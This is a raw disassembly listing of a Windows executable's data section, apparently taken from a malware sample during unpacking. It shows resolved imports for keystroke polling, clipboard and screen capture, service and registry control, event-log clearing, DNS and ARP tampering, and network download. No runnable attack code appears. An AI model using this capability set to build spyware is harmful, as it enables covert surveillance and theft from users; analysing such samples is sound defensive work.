3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_43B690+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh dword_453780 dd 0AD8A6DDh ; sub_43BEA0+E9r dword_453784 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_4537B4 dd 16Dh ; sub_43BEA0+F8r dword_4537B8 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 off_4537F0 dd offset off_4400F0 ; DATA XREF: .XComp0:off_440118o ; .XComp0:00440244o ... align 8 a_?avexception@ db '.?AVexception@@',0 off_453808 dd offset off_4400F0 ; DATA XREF: .XComp0:off_440130o ; .XComp0:00440174o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_453828 dd offset off_4400F0 ; DATA XREF: .XComp0:off_440180o ; .XComp0:004401C4o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_453848 dd offset off_4400F0 ; DATA XREF: .XComp0:off_4401D0o ; .XComp0:00440214o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_453868 dd offset off_4400F0 ; DATA XREF: .XComp0:off_440250o ; .XComp0:0044028Co align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_435930 align 8 dword_453888 dd 2 dup(0) dword_453890 dd 2 dup(0) byte_453898 db 0 ; DATA XREF: sub_4016A7+449o ; sub_4021E5+1258o ... align 4 dd 5 dup(0) dword_4538B0 dd 2DAh dup(0) ; sub_417280+97o ... byte_454418 db 0 ; DATA XREF: sub_4021E5+47BBw ; sub_4021E5+7B77r ... align 4 dd 7Fh dup(0) dword_454618 dd 0 ; sub_40D4E0+68w ... dword_45461C dd 0 ; sub_40D4E0+78w ... dword_454620 dd 0 ; sub_40D4E0+88r ... dword_454624 dd 0 ; sub_401DEC+FCw ... dword_454628 dd 0 ; sub_40D4E0+119w ... dword_45462C dd 0 ; sub_4016A7+4BAr ... byte_454630 db 0 ; DATA XREF: sub_401DEC+CDo ; sub_4021E5+7A51r ... align 4 dd 83h dup(0) db 3 dup(0) byte_454843 db 0 ; DATA XREF: .XComp0:00452DF4o dword_454844 dd 2C0h dup(0) db 0 byte_455345 db 3 dup(0) ; DATA XREF: .XComp0:00453294o dd 0C2h dup(0) db 3 dup(0) byte_455653 db 0 ; DATA XREF: .XComp0:00452C60o dd 3Fh dup(0) db 3 dup(0) byte_455753 db 0 ; DATA XREF: .XComp0:00452C68o dd 0BBh dup(0) db 3 dup(0) byte_455A43 db 0 ; DATA XREF: .XComp0:00453074o dd 39C5h dup(0) db 2 dup(0) word_46415A dw 0 ; DATA XREF: .XComp0:00452EA4o ; .XComp0:004530CCo ... dd 47Ah dup(0) db 0 byte_465345 db 3 dup(0) ; DATA XREF: .XComp0:00452FA4o ; .XComp0:0045328Co dd 0C2h dup(0) db 3 dup(0) byte_465653 db 0 ; DATA XREF: .XComp0:004532F4o dd 3D3Dh dup(0) dword_474B48 dd 0BFh dup(0) db 0 byte_474E45 db 3 dup(0) ; DATA XREF: .XComp0:004531D4o ; .XComp0:00453304o dd 0FEh dup(0) db 0 byte_475241 db 3 dup(0) ; DATA XREF: .XComp0:00452F80o dd 40h dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: .XComp0:00452DC0o ; .XComp0:0045329Co dd 3D44h dup(0) db 2 dup(0) word_48485A dw 0 ; DATA XREF: .XComp0:00453144o ; .XComp0:0045315Co dd 2BAh dup(0) db 0 byte_485345 db 3 dup(0) ; DATA XREF: .XComp0:004532A4o dd 3D44h dup(0) db 2 dup(0) word_49485A dw 0 ; DATA XREF: .XComp0:0045314Co ; .XComp0:0045316Co dd 3Dh dup(0) db 3 dup(0) byte_494953 db 0 ; DATA XREF: .XComp0:00583F0Eo dd 13Ch dup(0) db 0 byte_494E45 db 3 dup(0) ; DATA XREF: .XComp0:004531ACo ; .XComp0:0045322Co dd 0FEh dup(0) db 3 dup(0) byte_495243 db 0 ; DATA XREF: .XComp0:00452E20o align 10h dword_495250 dd 3Dh dup(0) db 0 byte_495345 db 3 dup(0) ; DATA XREF: .XComp0:004532BCo dd 3EBFh dup(0) db 0 byte_4A4E45 db 3 dup(0) ; DATA XREF: .XComp0:004531B4o dd 4202h dup(0) db 3 dup(0) byte_4B5653 db 0 ; DATA XREF: .XComp0:004530C4o dd 3BBBh dup(0) db 2 dup(0) word_4C4542 dw 0 ; DATA XREF: .XComp0:00452CECo dword_4C4544 dd 0BFh dup(0) db 3 dup(0) byte_4C4843 db 0 ; DATA XREF: .XComp0:00452FD8o dd 100h dup(0) dword_4C4C44 dd 80h dup(0) db 0 byte_4C4E45 db 3 dup(0) ; DATA XREF: .XComp0:00453194o dd 3Eh dup(0) db 3 dup(0) byte_4C4F43 db 0 ; DATA XREF: .XComp0:00452F28o dd 0C0h dup(0) db 2 dup(0) word_4C5246 dw 0 ; DATA XREF: .XComp0:00452E44o ; .XComp0:004531FCo dd 3Fh dup(0) db 0 byte_4C5345 db 3 dup(0) ; DATA XREF: .XComp0:00452FD0o ; .XComp0:0045326Co db 0 byte_4C5349 db 3 dup(0) ; DATA XREF: .XComp0:00452C34o ; .XComp0:00452C3Co dd 1C0h dup(0) db 2 dup(0) word_4C5A4E dw 0 ; DATA XREF: .XComp0:0045309Co ; .XComp0:004530A4o dd 39C0h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .XComp0:off_44DCE8o dd 37Ch dup(0) dword_4D4F44 dd 100h dup(0) db 0 byte_4D5345 db 3 dup(0) ; DATA XREF: .XComp0:00452CB8o ; .XComp0:004532ACo dd 3Fh dup(0) db 3 dup(0) byte_4D5447 db 0 ; DATA XREF: .XComp0:00452DC8o dd 2FF4h dup(0) dword_4E1418 dd 0 ; .XComp0:0040E3A0r ... dword_4E141C dd 0 ; sub_4021E5:loc_4047E9r ... dword_4E1420 dd 0 dword_4E1424 dd 20h dup(0) ; sub_4016A7+680o ... dword_4E14A4 dd 10h dup(0) ; sub_4016A7+69Eo ... dword_4E14E4 dd 24h dup(0) ; sub_4016A7+6B2o ... dword_4E1574 dd 0 ; sub_4016A7+692w ... dword_4E1578 dd 0 dd 3 dup(0) dword_4E1588 dd 0 byte_4E158C db 0 ; DATA XREF: sub_401FD0:loc_402013r ; sub_401FD0+4Eo align 10h dword_4E1590 dd 0 ; sub_4016A7+6ADo byte_4E1594 db 0 ; DATA XREF: sub_4016A7+6D1r ; sub_4016A7+6DEo align 4 dword_4E1598 dd 0 dword_4E159C dd 0 dword_4E15A0 dd 0 ; sub_4016A7:loc_401CE6r ... dword_4E15A4 dd 0 ; sub_4021E5+A9Br ... dword_4E15A8 dd 0 dword_4E15AC dd 0 dword_4E15B0 dd 0 dword_4E15B4 dd 0 dword_4E15B8 dd 0 dword_4E15BC dd 0 ; resolved to->GDI32.DeleteDC ; sub_40B0C5+69Ar ... dword_4E15C0 dd 0 ; resolved to->KERNEL32.Module32First ; sub_41CDFD+185r dword_4E15C4 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_40B0C5+B62r ... dword_4E15C8 dd 0 ; sub_40B0C5+DD0r ... dword_4E15CC dd 0 ; sub_40B0C5+D9Ar ... dword_4E15D0 dd 0 ; resolved to->GDI32.SelectObject ; sub_40B0C5+688r ... dword_4E15D4 dd 0 ; resolved to->USER32.GetKeyState ; sub_40B0C5+2E7r dword_4E15D8 dd 0 ; sub_40B0C5+DC7r ... dword_4E15DC dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_40B0C5+512r ... dword_4E15E0 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_40B0C5+56Er ... dword_4E15E4 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_40B0C5+51Br ... dword_4E15E8 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_40B0C5+548r ... dword_4E15EC dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_4144BD+21Cr dword_4E15F0 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_40B0C5+113r ... dword_4E15F4 dd 0 ; sub_40B0C5+D91r ... dword_4E15F8 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_40B0C5+536r ... dword_4E15FC dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_40B0C5+B98r ... dword_4E1600 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_40B0C5+3EEr ... dword_4E1604 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_40B0C5+B8Fr dword_4E1608 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_40B0C5+140r dword_4E160C dd 0 ; resolved to->WININET.InternetReadFile ; sub_40B0C5+BA1r dword_4E1610 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_40B0C5+94Cr dword_4E1614 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_40B0C5+10Ar ... dword_4E1618 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_40B0C5+C6Br dword_4E161C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4021E5+345Br ... dword_4E1620 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_40B0C5+137r dword_4E1624 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_40B0C5+67Fr ... dword_4E1628 dd 0 ; resolved to->WS2_32.ntohl ; sub_40E79A+20r dword_4E162C dd 0 ; sub_40B0C5+DBEr dword_4E1630 dd 0 ; resolved to->WS2_32.ntohs ; sub_40B0C5+9DBr ... dword_4E1634 dd 0 dword_4E1638 dd 0 ; sub_40B0C5+F6Ar dword_4E163C dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_40B0C5+B59r dword_4E1640 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_40B0C5+27Fr ... dword_4E1644 dd 0 ; sub_40B0C5+DA3r ... dword_4E1648 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_40B0C5+524r ... dword_4E164C dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_40B0C5+52Dr ... dword_4E1650 dd 0 ; sub_40B0C5+111Cr ... dword_4E1654 dd 0 ; resolved to->WS2_32.getpeernamedword_4E1658 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_401567+23r ... dword_4E165C dd 0 ; resolved to->GDI32.DeleteObject ; sub_40B0C5+6A3r ... dword_4E1660 dd 0 ; sub_40B0C5+DD9r ... dword_4E1664 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_40B0C5+395w ... dword_4E1668 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_40B0C5+11Cr ... dword_4E166C dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_4021E5+8D1Er ... dword_4E1670 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_4021E5+8943r ... dword_4E1674 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_40B0C5+B74r ... dword_4E1678 dd 0 ; sub_40B0C5+DACr dword_4E167C dd 0 ; sub_40B0C5+10A6r ... dword_4E1680 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_41AAD0+49r dword_4E1684 dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_40B0C5+2F9r dword_4E1688 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_40B0C5+C59r dword_4E168C dd 0 ; sub_40B0C5+10B8r dword_4E1690 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_41AAD0+57r dword_4E1694 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_40B0C5+966r ... dword_4E1698 dd 0 ; resolved to->WININET.InternetOpenA ; sub_40B0C5+B86r ... dword_4E169C dd 0 ; resolved to->USER32.GetWindowTextA ; sub_40B0C5+2F0r dword_4E16A0 dd 0 ; resolved to->USER32.IsWindow ; sub_40B0C5+252r ... dword_4E16A4 dd 0 ; resolved to->WS2_32.getsockname ; sub_4021E5+8307r ... dword_4E16A8 dd 0 ; resolved to->WS2_32.connect ; sub_4021E5+89E3r ... dword_4E16AC dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_40B0C5+959r dword_4E16B0 dd 0 ; sub_40B0C5+BDEr ... dword_4E16B4 dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_40B0C5+35Cw ... dword_4E16B8 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_40B0C5+907w ... dword_4E16BC dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_40B0C5+455r ... dword_4E16C0 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_40B0C5+53Fr ... dword_4E16C4 dd 0 ; sub_40B0C5+109Dr ... dword_4E16C8 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_40B0C5+B6Br ... dword_4E16CC dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_40B0C5+2DEr dword_4E16D0 dd 0 ; resolved to->USER32.OpenClipboard ; sub_40B0C5+264r ... dword_4E16D4 dd 0 ; resolved to->WININET.InternetConnectA ; sub_40B0C5+B7Dr ... dword_4E16D8 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_40B0C5+9FFr ... dword_4E16DC dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_40B0C5+3A8w ... dword_4E16E0 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_40B0C5+A2Cr dword_4E16E4 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_40B0C5+44Cr ... dword_4E16E8 dd 0 ; resolved to->WS2_32.select ; sub_40B0C5+A11r ... dword_4E16EC dd 0 ; resolved to->GDI32.CreateDCA ; sub_40B0C5+65Br ... dword_4E16F0 dd 0 ; resolved to->USER32.GetClipboardData ; sub_40B0C5+26Dr ... dword_4E16F4 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_40B0C5+509r ... dword_4E16F8 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_A ; sub_40B0C5+E58r dword_4E16FC dd 0 ; resolved to->WS2_32.ntohl ; sub_40B0C5+9CEr ... dword_4E1700 dd 0 ; resolved to->WS2_32.ntohs ; sub_4021E5+8990r ... dword_4E1704 dd 0 ; resolved to->KERNEL32.Process32First ; sub_40B0C5+101r ... dword_4E1708 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_40B0C5+676r ... dword_4E170C dd 0 ; resolved to->USER32.FindWindowA ; sub_40B0C5+249r ... dword_4E1710 dd 0 ; sub_40B0C5+DEBr ... dword_4E1714 dd 0 ; resolved to->WS2_32.gethostname ; sub_40B0C5+A3Er dword_4E1718 dd 0 ; resolved to->WSOCK32.recv ; sub_4021E5+8A03r ... dword_4E171C dd 0 ; sub_40B0C5+10AFr ... dword_4E1720 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40B0C5+F8r ... dword_4E1724 dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_40B0C5+36Fw ... dword_4E1728 dd 0 ; resolved to->WS2_32.listen ; sub_40B0C5+A1Ar ... dword_4E172C dd 0 ; resolved to->WS2_32.bind ; sub_40B0C5+A08r ... dword_4E1730 dd 0 ; sub_40B0C5+1117w ... dword_4E1734 dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_40B0C5+BAAr ... dword_4E1738 dd 0 ; sub_40B0C5+166r ... dword_4E173C dd 0 ; sub_40B0C5+108Br ... dword_4E1740 dd 0 ; resolved to->WS2_32.inet_addr ; sub_4021E5+7890r ... dword_4E1744 dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_40B0C5+664r ... dword_4E1748 dd 0 ; resolved to->GDI32.BitBlt ; sub_40B0C5+691r ... dword_4E174C dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_40B0C5+66Dr ... dword_4E1750 dd 0 ; resolved to->WS2_32.send ; sub_4021E5+8A2Cr ... dword_4E1754 dd 0 ; resolved to->USER32.CloseClipboard ; sub_40B0C5+276r ... dword_4E1758 dd 0 ; sub_40B0C5+DE2r ... dword_4E175C dd 0 ; resolved to->USER32.SendMessageA ; sub_40B0C5+240r ... dword_4E1760 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_40B0C5+125r ... dword_4E1764 dd 0 ; resolved to->WS2_32.sendto ; sub_40B0C5+9EDr ... dword_4E1768 dd 0 ; sub_40B0C5+F61r dword_4E176C dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_40B0C5+45Er ... dword_4E1770 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_40B0C5+3D3r ... dword_4E1774 dd 0 ; resolved to->SHELL32.SHChangeNotify ; sub_40B0C5+FD7r dword_4E1778 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40B0C5+EC5r ... dword_4E177C dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_40B0C5+EBCr ... dword_4E1780 dd 0 ; resolved to->WS2_32.socket ; sub_4021E5+8962r ... dword_4E1784 dd 0 ; resolved to->WS2_32.gethostbyname ; sub_4021E5+8950r ... dword_4E1788 dd 0 ; sub_40B0C5+1094r ... dword_4E178C dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_4021E5+4BCAr ... dword_4E1790 dd 0 ; sub_40B0C5+DB5r ... dword_4E1794 dd 0 ; resolved to->WS2_32.accept ; sub_40B0C5+A23r ... dword_4E1798 dd 0 ; resolved to->WS2_32.closesocket ; sub_401DEC+122r ... dword_4E179C dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_40B0C5+98Dr ... dword_4E17A0 dd 0 ; sub_40B0C5+F58r dword_4E17A4 dd 0 ; resolved to->WS2_32.WSASocketA ; sub_40B0C5+93Fr dword_4E17A8 dd 0 ; sub_40B0C5+F4Fr dword_4E17AC dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_40B0C5+2Cw ... dword_4E17B0 dd 0 ; resolved to->USER32.DestroyWindow ; sub_40B0C5+25Br ... align 8 dword_4E17B8 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_40B0C5+C62r dword_4E17BC dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_40B0C5+12Er ... dword_4E17C0 dd 0 ; sub_40B0C5+186w ... dword_4E17C4 dd 0 ; sub_40C219+12r dword_4E17C8 dd 0 ; sub_40B0C5:loc_40B3C7w ... dword_4E17CC dd 0 ; sub_40C219+4Fr dword_4E17D0 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_4021E5+5725r ... dword_4E17D4 dd 0 ; sub_40C219+8Cr dword_4E17D8 dd 0 ; sub_40B0C5+6C3w ... dword_4E17DC dd 0 ; sub_40C219+C9r dword_4E17E0 dd 0 ; sub_40B0C5+A79w ... dword_4E17E4 dd 0 ; sub_40C219+106r dword_4E17E8 dd 0 ; sub_40B0C5+BFBw ... dword_4E17EC dd 0 ; sub_40C219+143r dword_4E17F0 dd 0 ; sub_40B0C5+C8Bw ... dword_4E17F4 dd 0 ; sub_40C219+180r dword_4E17F8 dd 0 ; sub_40B0C5:loc_40BEB9w ... dword_4E17FC dd 0 ; sub_40C219+1BDr dword_4E1800 dd 0 ; sub_40B0C5+E78w ... dword_4E1804 dd 0 ; sub_40C219+1FAr dword_4E1808 dd 0 ; sub_40B0C5+EE5w ... dword_4E180C dd 0 ; sub_40C219+237r dword_4E1810 dd 0 ; sub_40B0C5+F8Aw ... dword_4E1814 dd 0 ; sub_40C219+274r dword_4E1818 dd 0 ; sub_40B0C5+FF7w ... dword_4E181C dd 0 ; sub_40C219+2B1r dword_4E1820 dd 0 ; sub_40B0C5+10D8w ... dword_4E1824 dd 0 ; sub_40C219+2EEr dword_4E1828 dd 0 ; sub_40B0C5+1145w ... dword_4E182C dd 0 ; sub_40C219+32Br dword_4E1830 dd 5 dup(0) ; sub_40C86E+54o dword_4E1844 dd 2 dup(0) dword_4E184C dd 0 dword_4E1850 dd 0 dword_4E1854 dd 0 byte_4E1858 db 0 ; DATA XREF: sub_40D17A:loc_40D225r ; sub_40D17A+10Ew align 10h dword_4E1860 dd 0 ; sub_40E79A+58r ... dword_4E1864 dd 0 dd 7FEh dup(0) dword_4E3860 dd 6 dup(0) ; .XComp0:0040EE70o dword_4E3878 dd 0 ; .XComp0:0040E5BDo dword_4E387C dd 0 ; .XComp0:0040E5D1r ... dword_4E3880 dd 0 dword_4E3884 dd 0 ; .XComp0:loc_40E582r dword_4E3888 dd 20h dup(0) ; .XComp0:0040E56Eo dword_4E3908 dd 0 dword_4E390C dd 0 ; .XComp0:0040E57Bw dword_4E3910 dd 0 align 8 dd 0 dd 82h dup(0) dd 0 dd 0 dd 0 dd 20h dup(0) dd 0 dd 0 dword_4E3BB8 dd 0 align 10h dword_4E3BC0 dd 0 ; .XComp0:0040E477o dword_4E3BC4 dd 41h dup(0) ; .XComp0:loc_40E437o dword_4E3CC8 dd 41h dup(0) dword_4E3DCC dd 0 ; .XComp0:0040E48Br ... dword_4E3DD0 dd 0 dword_4E3DD4 dd 0 ; .XComp0:0040E43Cr dword_4E3DD8 dd 20h dup(0) ; .XComp0:0040E423o dword_4E3E58 dd 0 dword_4E3E5C dd 0 ; .XComp0:0040E430w dword_4E3E60 dd 0 align 8 dword_4E3E68 dd 0 ; .XComp0:0040E721o dword_4E3E6C dd 0A2h dup(0) dword_4E40F4 dd 13h dup(0) ; .XComp0:0040E66Eo ... db 3 dup(0) byte_4E4143 db 0 ; DATA XREF: .XComp0:00452D9Co dd 2 dup(0) dword_4E414C dd 0 dword_4E4150 dd 2Ah dup(0) dword_4E41F8 dd 0 ; .XComp0:0040E6D9r align 10h dword_4E4200 dd 0 ; .XComp0:0040E735r ... dword_4E4204 dd 0 dword_4E4208 dd 0 dword_4E420C dd 0 dd 0 dword_4E4214 dd 0 dd 0 dword_4E421C dd 0 ; sub_40DD5F+2Dr dword_4E4220 dd 0 ; sub_40DD5F+27r dword_4E4224 dd 82h dup(0) ; sub_40F238+E3o ... dword_4E442C dd 2 dup(0) dword_4E4434 dd 0 dword_4E4438 dd 2 dup(0) byte_4E4440 db 0 ; DATA XREF: .XComp0:00411EE0r align 4 dword_4E4444 dd 2 dup(0) dword_4E444C dd 2 dup(0) byte_4E4454 db 0 ; DATA XREF: .XComp0:0041323Bo ; .XComp0:00413261o ... align 4 dd 3Fh dup(0) word_4E4554 dw 0 ; DATA XREF: sub_412CE8+1Cr word_4E4556 dw 0 ; DATA XREF: .XComp0:00452EFCo dword_4E4558 dd 2 dup(0) dword_4E4560 dd 2 dup(0) dword_4E4568 dd 2 dup(0) dword_4E4570 dd 0 dd 2 dup(0) dword_4E457C dd 0 dword_4E4580 dd 0 ; .XComp0:00413493r align 8 dword_4E4588 dd 0 ; sub_413752+14w align 10h dword_4E4590 dd 0 dword_4E4594 dd 0 ; .XComp0:004143EAr ... align 10h dword_4E45A0 dd 0 dword_4E45A4 dd 3 dup(0) byte_4E45B0 db 0 ; DATA XREF: sub_4173DC+2Cr ; sub_4173DC+3Fo ... align 4 dd 0A3h dup(0) db 3 dup(0) byte_4E4843 db 0 ; DATA XREF: .XComp0:0045306Co ; .XComp0:004530ACo ... dd 40h dup(0) db 2 dup(0) word_4E4946 dw 0 ; DATA XREF: .XComp0:00452BDCo ; .XComp0:00452BE4o dd 181h dup(0) db 2 dup(0) word_4E4F4E dw 0 ; DATA XREF: .XComp0:0045324Co dd 0FDh dup(0) db 0 byte_4E5345 db 3 dup(0) ; DATA XREF: .XComp0:00452D68o ; .XComp0:004532B4o dd 0C9Bh dup(0) dword_4E85B4 dd 0 ; sub_417DDF+Br dd 1Bh dup(0) dword_4E8624 dd 0Eh dup(0) ; sub_4196B4+9Ao ... dword_4E865C dd 81h dup(0) ; sub_41A5B6+BAo dword_4E8860 dd 0 dword_4E8864 dd 17h dup(0) ; sub_41AFD4+106o ... dword_4E88C0 dd 80h dup(0) ; sub_41C3F4+C3o ... dword_4E8AC0 dd 0 ; sub_41B5D2+63r ... dword_4E8AC4 dd 17h dup(0) ; sub_41C123+144o ... dword_4E8B20 dd 80h dup(0) ; sub_41B4ED+B1o ... byte_4E8D20 db 0 ; DATA XREF: sub_41B5D2+2Cr ; sub_41B5D2+3Ar ... align 4 dword_4E8D24 dd 80h dup(0) ; sub_41B8D8+C8o ... dword_4E8F24 dd 82h dup(0) ; sub_41AE5B+66o ... dword_4E912C dd 0 dword_4E9130 dd 0 dword_4E9134 dd 0 dword_4E9138 dd 0 dword_4E913C dd 0 dword_4E9140 dd 0 dword_4E9144 dd 0 dword_4E9148 dd 0 dword_4E914C dd 0 ; sub_41D208+36r ... dword_4E9150 dd 0 ; sub_41D208+Cr ... dword_4E9154 dd 0 ; sub_41D4E3+AAo dword_4E9158 dd 0 ; sub_41D208+21r ... dword_4E915C dd 0Dh dup(0) ; sub_41D30D+BDo ... dword_4E9190 dd 0 ; sub_41D30D+C2r ... align 8 dword_4E9198 dd 0 dword_4E919C dd 0 dword_4E91A0 dd 0 dword_4E91A4 dd 0Eh dup(0) ; sub_41E075+84o dword_4E91DC dd 0 dword_4E91E0 dd 2561E90h ; sub_41F350:loc_41F78Br ... dword_4E91E4 dd 2816h ; sub_41EEE0+21Cw ... dword_4E91E8 dd 25624A8h ; sub_41EEE0+252r ... dword_4E91EC dd 1B73h ; sub_41EEE0+22Aw ... dword_4E91F0 dd 1F96h ; sub_41EEE0+243w ... dword_4E91F4 dd 0 dword_4E91F8 dd 0A28h ; sub_420610:loc_4206EDr ... dword_4E91FC dd 501h dd 5 dword_4E9204 dd 1 dword_4E9208 dd 1 ; sub_431A40+C6w dword_4E920C dd 2563130h ; sub_4016A7+3CCr ... dd 0 dword_4E9214 dd 2563178h ; sub_4318F0+81r ... dword_4E9218 dd 0 dword_4E921C dd 0 ; sub_43C540+6r ... dd 0 off_4E9224 dd offset aCM_unpackerPac ; DATA XREF: sub_431A40+26w ; sub_431A40+3Cr ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4E922C db 0 ; DATA XREF: sub_421880+30w ; sub_424B10+8r align 10h dword_4E9230 dd 0 dword_4E9234 dd 0 ; sub_421880:loc_42194Bw dword_4E9238 dd 0 ; sub_421880+AFw dword_4E923C dd 0 ; .XComp0:0042312Fw dword_4E9240 dd 0 dword_4E9244 dd 0 ; sub_4318F0+1Br ... dd 0 dword_4E924C dd 0 ; sub_4249B0+3r ... dword_4E9250 dd 0 ; sub_429EE0+2CEw ... dword_4E9254 dd 0 ; resolved to->USER32.wsprintfA ; sub_424D20+C8w ... dword_4E9258 dd 0 ; sub_41EDD0+10r ... dword_4E925C dd 0 ; .XComp0:00425859w ... dword_4E9260 dd 1472E8h, 0FFFFFFFFh, 4 dup(0)dword_4E9278 dd 147270h, 0FFFFFFFFh, 4 dup(0)dword_4E9290 dd 1472C0h, 0FFFFFFFFh, 4 dup(0)dword_4E92A8 dd 147298h, 0FFFFFFFFh, 4 dup(0)dword_4E92C0 dd 0 ; sub_4286C0+93w ... dword_4E92C4 dd 1 ; sub_42BB50+3w ... dword_4E92C8 dd 0 ; sub_42C200+C9w ... align 10h dword_4E92D0 dd 0 ; sub_430EF0+140o word_4E92D4 dw 0 ; DATA XREF: sub_430EF0+E8r align 4 dword_4E92D8 dd 0 ; sub_430EF0+159o dword_4E92DC dd 0 ; sub_430C50+DDw ... dd 0 dword_4E92E4 dd 0 ; sub_424440+6r ... dword_4E92E8 dd 0 dword_4E92EC dd 0 dword_4E92F0 dd 0 dword_4E92F4 dd 0 ; sub_424620+16Cr ... dword_4E92F8 dd 0 dword_4E92FC dd 1 ; sub_4312B0+4Bw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_431A40+19o ; sub_431A40+26o ... align 4 dd 3Ah dup(0) dword_4E9404 dd 1 ; sub_431F50+2Cw ... dword_4E9408 dd 0 ; sub_432540+34r dword_4E940C dd 0 ; .XComp0:00432C32w ... dword_4E9410 dd 0 ; .XComp0:00432C45w ... dword_4E9414 dd 0 ; .XComp0:00432C59w ... dword_4E9418 dd 0 ; .XComp0:00432C6Cw ... 